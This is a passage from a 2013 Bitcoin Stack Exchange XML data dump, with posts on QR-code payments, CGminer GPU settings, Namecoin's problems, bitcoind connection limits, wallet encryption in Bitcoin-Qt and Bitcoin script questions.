href=&quot;http://goqr.me/&quot; rel=&quot;nofollow&quot;&gt;http://goqr.me/&lt;/a&gt;, after generating the code you can save it as a JPG file, print it and keep it in your wallet or even order a custom t-shirt so people can donate you some Bitcoins in the shopping centre just by pointing their cameras at you :D&lt;/p&gt;&#xA;" OwnerUserId="3150" LastEditorUserId="3150" LastEditDate="2013-03-04T17:35:45.777" LastActivityDate="2013-03-04T17:35:45.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8119" PostTypeId="1" CreationDate="2013-03-04T16:45:02.680" Score="2" ViewCount="267" Body="&lt;p&gt;If so, what is that number and why can't you divide the public key by G to obtain the private key?&lt;/p&gt;&#xA;" OwnerUserId="3125" LastEditorUserId="2306" LastEditDate="2013-03-04T17:21:23.860" LastActivityDate="2014-07-13T06:58:38.210" Title="Is the generator G of the keypair always the same number for all different tx messages in Bitcoin?" Tags="|protocol|ecdsa|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8120" PostTypeId="1" CreationDate="2013-03-04T16:48:49.433" Score="5" ViewCount="203" Body="&lt;p&gt;I'm looking for an example Bitcoin Block that would have a Namecoin merged-mined Tx in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone direct me to a block that has such a hash?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2014-03-02T05:09:33.383" LastActivityDate="2014-03-09T23:14:07.327" Title="What example Bitcoin block has a Namecoin hash in it?" Tags="|transactions|blockchain|client|namecoin|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8121" PostTypeId="1" AcceptedAnswerId="8123" CreationDate="2013-03-04T16:49:12.143" Score="0" ViewCount="2828" Body="&lt;p&gt;I recently switched to CGminer from phoenix from GUIminer. And seem to be having some issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System: Windows 7 64bit, x4 5830's&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Timeline-&#xA;AMD catalyst: 13.1 &#xA;GPUs: 5830x2 7770x1&#xA;Miner: CGminer newest stable release 10.5 I think.&#xA;Sum: Worked well except for flashing squares on the screen when mining and using the desktop. Saw a post that said update catalyst to 13.2 for no squares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;~~Changelog: updated to 13.2 catalyst, returned the 7770 (money issues)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AMD catalyst: 13.1 &#xA;GPUs: 5830x2&#xA;Miner: CGminer newest stable release 10.5&#xA;Sum: Works well for a few hours (the upgrade to 13.2 also removed the squares), then I either get a DEAD thread for the gpu doing the desktop, or I cannot get windows to return to desktop after it sleeps, or just a good 'ol BSOD. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was reading around and it said that CGminer makes some binaries on initial run and only initial run. So do those binaries contain info about old 7770 that I removed and now it is conflicting somehow? Should I just reinstall CGminer? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do people know of issues with the 13.2 CataContCent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OP EDIT: test config 1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;pools&quot; : [&#xA;    {&#xA;        &quot;url&quot; : &quot;stratum.btcguild.com:3333&quot;,&#xA;        &quot;user&quot; : &quot;MY USER&quot;,&#xA;        &quot;pass&quot; : &quot;MY PASS&quot;&#xA;    }&#xA;],&#xA;&quot;intensity&quot; : &quot;d,9,9,9&quot;,&#xA;&quot;temp-cutoff&quot; : &quot;95,95,95,95&quot;,&#xA;&quot;temp-overheat&quot; : &quot;85,85,85,85&quot;,&#xA;&quot;temp-target&quot; : &quot;75,75,75,75&quot;,&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I want my conf to do. Put the three 5830's not doing the desktop balls to the wall. The one I am using for desktop try and do the best it can but do not interfere with desktop.&#xA;Turn off any GPU that hits 95C, try to run them all at 75C. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No overclock on any GPU. I do not wish to slow them down or speed them up yet. I just want them to run without crashing my system first. I don't care about fanspeed/noise. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I know my 'd' setting will hit GPU0 (my desktop)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other important settings that I removed?&lt;/p&gt;&#xA;" OwnerUserId="2931" LastEditorUserId="2931" LastEditDate="2013-03-04T18:15:35.463" LastActivityDate="2013-03-04T18:15:35.463" Title="CGMiner and 5830's give my the BSOD and GPU hangs, DEAD threads" Tags="|cgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8122" PostTypeId="1" CreationDate="2013-03-04T17:00:06.373" Score="6" ViewCount="2263" Body="&lt;p&gt;I like the concept of using a key/value store that is separate from the Bitcoin chain (preventing bloat), but utilizing the Bitcoin hashpower for security.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What are the dominant issues working against Namecoin today?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What can be done to correct those issues?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you were to reboot the Namecoin project, what changes or improvements would you make?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-03-05T01:01:41.923" LastActivityDate="2013-05-13T17:04:54.550" Title="What problems exist with the alt coin Namecoin and what can be done to fix them?" Tags="|namecoin|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8123" PostTypeId="2" ParentId="8121" CreationDate="2013-03-04T17:55:57.030" Score="1" Body="&lt;p&gt;Try to lower GPU clock a little bit to let's say 900MHZ or stock, and also make sure that the memory clock is not lower than 300MHZ. After that try to keep an eye on the GPU temperatures as this may be the cause of the sudden BSOD. Also there is a &lt;strong&gt;intensity&lt;/strong&gt; parameter, if you keep it as 9 then try to lower it to 7. My config for 5830 looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;pools&quot; : [&#xA;    {&#xA;        &quot;url&quot; : &quot;mint.bitminter.com:8332&quot;,&#xA;        &quot;user&quot; : &quot;username_workername&quot;,&#xA;        &quot;pass&quot; : &quot;worker_password&quot;&#xA;    }&#xA;],&#xA;&quot;intensity&quot; : &quot;9,9,9,9&quot;,&#xA;&quot;gpu-engine&quot; : &quot;0-950,0-950,0-950,0-870&quot;,&#xA;&quot;gpu-fan&quot; : &quot;0-85,0-85,0-85,0-85&quot;,&#xA;&quot;gpu-memclock&quot; : &quot;300,300,300,300&quot;,&#xA;&quot;gpu-powertune&quot; : &quot;20,20,20,20&quot;,&#xA;&quot;temp-cutoff&quot; : &quot;95,95,95,95&quot;,&#xA;&quot;temp-overheat&quot; : &quot;85,85,85,85&quot;,&#xA;&quot;temp-target&quot; : &quot;80,75,75,80&quot;,&#xA;&#xA;&quot;algo&quot; : &quot;4way&quot;,&#xA;&quot;auto-fan&quot; : true,&#xA;&quot;auto-gpu&quot; : true,&#xA;&quot;expiry&quot; : &quot;120&quot;,&#xA;&quot;failover-only&quot; : true,&#xA;&quot;gpu-threads&quot; : &quot;2&quot;,&#xA;&quot;log&quot; : &quot;5&quot;,&#xA;&quot;queue&quot; : &quot;1&quot;,&#xA;&quot;retry-pause&quot; : &quot;5&quot;,&#xA;&quot;scan-time&quot; : &quot;60&quot;,&#xA;&quot;temp-hysteresis&quot; : &quot;3&quot;,&#xA;&quot;worksize&quot; : &quot;0&quot;,&#xA;&#xA;&quot;donation&quot; : &quot;0.00&quot;,&#xA;&quot;shares&quot; : &quot;0&quot;,&#xA;&quot;kernel-path&quot; : &quot;/usr/local/bin&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and works for over a year now :)&lt;/p&gt;&#xA;" OwnerUserId="3150" LastEditorUserId="3150" LastEditDate="2013-03-04T18:05:15.387" LastActivityDate="2013-03-04T18:05:15.387" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8124" PostTypeId="2" ParentId="8109" CreationDate="2013-03-04T18:31:39.850" Score="1" Body="&lt;p&gt;Why do you need 1,000+ connections?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default bitcoind cannot have more than 125 connections. You need to start bitcoind with the parameter &lt;code&gt;-maxconnections=&amp;lt;n&amp;gt;&lt;/code&gt; or set &lt;code&gt;maxconnections=&amp;lt;n&amp;gt;&lt;/code&gt; in  bitcoin.conf to be able to connect to more peers.&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-03-04T18:31:39.850" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8125" PostTypeId="1" AcceptedAnswerId="8130" CreationDate="2013-03-04T19:18:45.720" Score="5" ViewCount="5620" Body="&lt;p&gt;I am a new adopter of Bitcoins, forgive the ignorance. (note these are test transactions)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the Bitcoin qt client and I am very confused and think I have done something wrong.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I have two computers A and B both with Bitcoin qt client on. I have made wallets on both computers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After launching Bitcoin qt client for the first time on computer A I created two addresses using the 'new address' button. I then clicked 'Encrypt Wallet' and entered a passcode. Note I only did this process once, even though I created two addresses.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I then transfered two test transactions to the wallet on computer A from Bitstamp. These came through as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2ziI6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/2ziI6.jpg&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(don't know if anything looks wrong in that picture?)&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;I then tried my first ever test transaction and sent it to the address I created on computer B (I have never encrypted this wallet).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To my surprise this sent, even though I didn't have to enter any kind of passcode on computer A? Plus my address on computer B isn't even encrypted?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does that mean anyone can use the funds I have in my wallet on computer A, without my passcode?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The status of the transaction on computer B is also,  8 confirmations? Is this a sign of a mistake. Also the 'from' is marked as unknown - is this important?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is also no lock icon on my QT client, which I have been told there should be if the wallet has been encrypted?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm confused, please advise. Sorry for my ignorance, I am not a technically minded person but trying to adopt bit coins.&lt;/p&gt;&#xA;" OwnerUserId="3151" LastEditorUserId="153" LastEditDate="2013-03-05T01:41:34.723" LastActivityDate="2013-03-05T01:41:34.723" Title="How can I tell if my Bitcoin-Qt wallet is protected with encryption?" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8126" PostTypeId="2" ParentId="8122" CreationDate="2013-03-04T19:25:51.150" Score="4" Body="&lt;p&gt;First, NMC is not worthless, it have a value and is traded on bitparking ( &lt;a href=&quot;https://exchange.bitparking.com/main&quot; rel=&quot;nofollow&quot;&gt;https://exchange.bitparking.com/main&lt;/a&gt; )  and btc-e ( &lt;a href=&quot;https://btc-e.com/exchange&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/exchange&lt;/a&gt; ), with decent daily trading volume; people saying nmc is worthless are just people wanting to attract you to other altchains( most of them being scams imo ) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, namecoin is an opensource network, it cant really die as long as people use it.&#xA; Also, namecoin is the oldest and most serious alternative coin ( altchain ) to bitcoin.&#xA; NMC price have gone down with merged mining ( increased supply ), but merged mining also made namecoin very secure and long lasting.&#xA; As long as someone will maintain the software ( &lt;a href=&quot;https://github.com/namecoin/namecoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/namecoin/namecoin&lt;/a&gt; ) namecoin will rock as the oldest and best altchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Real issues are :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;possibility to store small files in the blockchain, could lead to increased blockchain size ( see &lt;a href=&quot;https://bitcointalk.org/index.php?topic=145278.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=145278.0&lt;/a&gt; and &lt;a href=&quot;https://github.com/runn1ng/namecoin-files&quot; rel=&quot;nofollow&quot;&gt;https://github.com/runn1ng/namecoin-files&lt;/a&gt; )&lt;/li&gt;&#xA;&lt;li&gt;small community, not enough tools, websites, graphical client . . . )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="558" LastEditorUserId="558" LastEditDate="2013-03-04T23:29:45.230" LastActivityDate="2013-03-04T23:29:45.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8127" PostTypeId="2" ParentId="8111" CreationDate="2013-03-04T20:03:19.237" Score="6" Body="&lt;p&gt;When using bitcoin to pay at the point-of-sale or for a face-to-face transaction, there is the problem of how to communicate the Bitcoin address to be paid in a way that the person paying can use.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bitcoin address is just data, but it is between 27 and 34 characters so that is way to much info to expect the person paying to have to manually type in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A QR code can easily represent this amount of data in a machine-readable manner and do so reliably.  The QR code can contain other information as well -- such as an amount and a message and other fields as well -- thanks to a &lt;a href=&quot;http://en.bitcoin.it/wiki/URI_Scheme&quot; rel=&quot;noreferrer&quot;&gt;URI scheme for Bitcoin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with a mobile, a convenient way to pass that data is for the payment recipient (e.g., a merchant) to display a QR code with the Bitcoin address for the transaction, and then for the person paying to scan that QR code to obtain the bitcoin address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A mobile app called &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.google.zxing.client.android&quot; rel=&quot;noreferrer&quot;&gt;Barcode scanner&lt;/a&gt; from ZXing is the most widely used app on Android for this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are paying using the Blockchain for Android mobile app, then that app will let you touch the QR code button to launch the Barcode scanner app.  When the scan is complete, the Bitcoin address field (and amount field if the QR code contained the amount) will then be populated with the data from the QR code.  The person paying then hits send and the bitcoin transaction gets created and broadcasted by the mobile app.  Web-based wallets (e.g., Instawallet.org) can use a QR code as well, except the user may need manually do a paste of the clipboard contents after scanning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The merchant or trader might use the same mobile app (e.g., Blockchain for Android) which has a built-in method to create and display the QR code for the customer to send payment to which occurs in just one step.  Many clients (including Bitcoin-Qt), &lt;a href=&quot;http://en.bitcoin.it/wiki/Category%3aEWallets&quot; rel=&quot;noreferrer&quot;&gt;EWallets&lt;/a&gt; and payment processors such as &lt;a href=&quot;http://bitpay.com&quot; rel=&quot;noreferrer&quot;&gt;BitPay&lt;/a&gt; and &lt;a href=&quot;http://walletbit.com&quot; rel=&quot;noreferrer&quot;&gt;WalletBit&lt;/a&gt; will show a QR code (or a method to get the QR code displayed) for receiving payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those wishing to &lt;a href=&quot;http://www.bitcoinmoney.com/post/9678390130&quot; rel=&quot;noreferrer&quot;&gt;create a QR code manually&lt;/a&gt; can do so using a web-based service such as Wolfram Alpha or several other methods.  This does introduce a vulnerability however in that the provider of the QR code could detect that this is a Bitcoin address and maliciously interject another address that the provider controls -- thus directing the consumer to pay the wrong address.  So using only a trustworthy source to generate the QR codes is recommended.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-04T20:03:19.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8128" PostTypeId="2" ParentId="8109" CreationDate="2013-03-04T20:43:50.417" Score="15" Body="&lt;p&gt;The bitcoind client has a maxconnections configuration option.  The client launched With -maxconnections=N will allow up to N incoming connections to be established simultaneously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you may need to increase the connection timeout for that many connection attempts from a single (possibly underpowered) node.  Perhaps set it to like 15 seconds (15000 ms).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-timeout=           Specify connection timeout in milliseconds (default: 5000)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;[Edit: Pieter Wuille's answer gets you further there.  -addnode will let you force new outgoing conections to nodes when you have their IP addresses.]&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-03-07T22:32:35.537" LastActivityDate="2013-03-07T22:32:35.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8129" PostTypeId="2" ParentId="8125" CreationDate="2013-03-04T20:50:45.863" Score="2" Body="&lt;p&gt;If you encrypt your wallet, it will also be encrypted for all addresses your ever create.&#xA;Bitcoin qt will ask you for every transaction you made for the password.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does that mean anyone can use the funds I have in my wallet on computer A, without my passcode?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;At this moment yes, try to encrypt it again, maybe you made a misstake?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The status of the transaction on computer B is also, 8 confirmations? Is this a sign of a mistake. Also the 'from' is marked as unknown - is this important?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A confirmation means, that you transaction was successful added to a block and is processed.&#xA;Some markets or platforms need a certain number of confirmations.&#xA;Your payment is normal confirmed after 1 confirmation.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There is also no lock icon on my QT client, which I have been told there should be if the wallet has been encrypted?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, there should be a &quot;lock&quot; icon on the right bottom. Try to encrypt your wallet again is it possible.&lt;/p&gt;&#xA;" OwnerUserId="3153" LastActivityDate="2013-03-04T20:50:45.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8130" PostTypeId="2" ParentId="8125" CreationDate="2013-03-04T20:55:25.523" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You only need to encrypt each wallet once, no matter how many new addresses you make.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It sounds like the wallet encryption didn't happen.  Did you maybe not type the same passphrase twice or something?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;People can only spend your funds if they have a copy of your wallet.  So even if you didn't manage to encrypt the wallet on computer A successfully yet, your funds are still safe as long as nobody gains access to your files.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &quot;8 confirmations&quot; simply means that the transaction is buried 8 blocks deep in the blockchain, and so is very unlikely to ever be reversed.  The number of confirmations will go up by 1 every time a new block is added to the blockchain by a miner.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The 'from' field is always 'unknown' in my experience.  I don't even know what it's for.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My lock icon is in the bottom right corner of the client.  There are 3 icons, and the lock is the leftmost of them.  Try encrypting your wallet again and pay attention to what it says.  I suspect you didn't type the passphrase the same twice when you tried to encrypt your wallet, so it didn't do it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="659" LastActivityDate="2013-03-04T20:55:25.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8132" PostTypeId="1" AcceptedAnswerId="8133" CreationDate="2013-03-05T00:10:04.337" Score="5" ViewCount="2640" Body="&lt;p&gt;I searched with all terms I could think of, but could not find anything in direction that helps me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the context of a research project, I am trying to listen to all transactions that are broadcasted over the Bitcoin network. So we are especially interested in transactions, that will not occur in the blockchain later (e.g. got &quot;lost&quot;, took very  long to get accepted, double spent, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know of bitcoind, but the list of transactions is rather pull-oriented, whereby I'd like to have something like a callback, that informs me of a new transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody recommend any software/libs/projects here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: all I intend to do is read-only, so there does not have to be any wallet-support etc. I just like to get a deeper view into how the Bitcoin network actually works.&lt;/p&gt;&#xA;" OwnerUserId="2194" LastActivityDate="2013-05-28T14:32:13.543" Title="Listening to all transactions of the Bitcoin network" Tags="|network|logging|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8133" PostTypeId="2" ParentId="8132" CreationDate="2013-03-05T00:25:00.580" Score="4" Body="&lt;p&gt;You can do this using BitcoinJ by implementing the &lt;a href=&quot;http://code.google.com/p/bitcoinj/source/browse/core/src/main/java/com/google/bitcoin/core/PeerEventListener.java&quot; rel=&quot;nofollow&quot;&gt;PeerEventListener&lt;/a&gt; interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://code.google.com/p/bitcoinj/source/browse/core/src/main/java/com/google/bitcoin/core/PeerEventListener.java#74&quot; rel=&quot;nofollow&quot;&gt;OnTransaction&lt;/a&gt; will be called every time a new Transaction is broadcast out and received from a Peer.&lt;/p&gt;&#xA;" OwnerUserId="3157" LastActivityDate="2013-03-05T00:25:00.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8134" PostTypeId="2" ParentId="8122" CreationDate="2013-03-05T00:37:00.507" Score="-2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the domainant issues working against Namecoin today?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Namecoin is worthless and doomed to fail due to their policy of having the domain registration and renewal cost next to nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the current Namecoin generation rate, you could register or renew ~2500~5000 new domains every 10 minutes, which doesn't make sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since registering domains is basically free, anyone could cheaply squat them all. And no one bothers to to it &lt;em&gt;precisely&lt;/em&gt; because it could be done so easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the most prominent reason why Namecoin failed. Other reasons are that they didn't even realise they should have considered what to do when NMCs would &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2411/what-happens-when-namecoins-stop-being-generated&quot;&gt;stop being generated&lt;/a&gt;, and that using Namecoin is actually useless since no popular DNS server supports it (as opposite to Bitcoin which can be exchanged with other currencies, i.e. it works as a currency, its intended goal).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What can be done to correct those issues?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It won't happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, anything short of resetting it changing the rules to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;namecoin fixed (non-decreasing) block reward&lt;/li&gt;&#xA;&lt;li&gt;domain registration and renewal fixed, and &lt;strong&gt;much&lt;/strong&gt; higher than now (either fixed, or somehow automatically adjusting)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And convincing some popular DNS server (8.8.8.8, 4.2.2.1) to support it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously such a thing won't happen: if it could, it would already did.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-03-05T00:37:00.507" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8136" PostTypeId="1" AcceptedAnswerId="8171" CreationDate="2013-03-05T05:02:28.597" Score="2" ViewCount="206" Body="&lt;p&gt;How do I list all unique scripts in the block chain, and their count (n-times-used)?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2306" LastEditDate="2013-03-05T05:11:21.200" LastActivityDate="2013-03-06T10:12:58.700" Title="How do I list all unique scripts from blockchain?" Tags="|bitcoind|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8137" PostTypeId="1" CreationDate="2013-03-05T05:46:18.237" Score="6" ViewCount="1337" Body="&lt;p&gt;Can I always use single public key (&lt;strong&gt;addr1&lt;/strong&gt;) for all my transactions and when I spend every time protect it with different scripts / keys (&lt;strong&gt;key2&lt;/strong&gt;, &lt;strong&gt;key3&lt;/strong&gt;, etc.), so that spending requires at least two keys ('&lt;strong&gt;key1&lt;/strong&gt;', and '&lt;strong&gt;key-n&lt;/strong&gt;') but &lt;strong&gt;addr1&lt;/strong&gt; remains the same for receiving bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(transaction, output script): (input address, amount) --&amp;gt; (output 1); (output 2)&#xA;--------------------------------------------------------------------------&#xA;(trxn1, script1): (addr1, 10 BTC) --&amp;gt; (addr2,  5 BTC); (addr1,  5 BTC)&#xA;(trxn2, script2): (addr1,  5 BTC) --&amp;gt; (addr3,  1 BTC); (addr1,  4 BTC)&#xA;(trxn3, script3): (addr1,  4 BTC) --&amp;gt; (addr4,  1 BTC); (addr1,  3 BTC)&#xA;(trxn4, script4): (addr5, 12 BTC) --&amp;gt; (addr1, 10 BTC); (addr5,  2 BTC)&#xA;(trxn5, script5): (addr1, 13 BTC) --&amp;gt; (addr6,  2 BTC); (addr1, 11 BTC)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make script 1, 2, 3 and 5 would require different keys (at least 2; &lt;strong&gt;key1&lt;/strong&gt; and &lt;strong&gt;key-n&lt;/strong&gt;) to spend bitcoin from this address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible with Script? Is there any other ways in which I can keep single address for all my transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;addr1&lt;/strong&gt; is my address; transactions 1, 2, 3, 5 are my spends and transaction 4 is receiving transaction.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Motivation&lt;/strong&gt;: To use same address for all my transactions. Reason is, I own firstbits address '1vijay', and I don't want to loose in case of my private key compromised. I am looking for any solution that would solve my problem, particularly scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;pseudo-script would be something like,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptPubKey: &amp;lt;pubKey1&amp;gt; OP_DROP &amp;lt;pubKey2&amp;gt; OP_CHECKSIG&#xA;scriptSig: &amp;lt;sig&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to use 'pubKey1' as my receiving address always, but my spending would depend on private key corresponding to 'pubKey2'.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2013-03-10T14:46:11.123" LastActivityDate="2013-03-10T21:37:04.883" Title="Can I use single address for all my transactions?" Tags="|script|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8138" PostTypeId="1" CreationDate="2013-03-05T06:16:25.247" Score="2" ViewCount="90" Body="&lt;p&gt;I need to be able to record the times blocks are solved as they are solved. Bitcoin-abe would be nice (overkill, actually) but I can't get it working on my mac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know of a mac compatible method of recording block timestamps?&lt;/p&gt;&#xA;" OwnerUserId="1611" LastEditorUserId="41755" LastEditDate="2018-06-27T22:21:04.297" LastActivityDate="2018-06-27T22:21:04.297" Title="How can I record block solve times on OSX?" Tags="|blockchain|development|mac|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="8139" PostTypeId="2" ParentId="4466" CreationDate="2013-03-05T09:41:57.350" Score="2" Body="&lt;p&gt;Try &lt;a href=&quot;http://classic.mtgox.com&quot; rel=&quot;nofollow&quot;&gt;http://classic.mtgox.com&lt;/a&gt;   --&gt; trade data  --&gt; market depth&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you do not have to log in&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2013-03-05T09:41:57.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
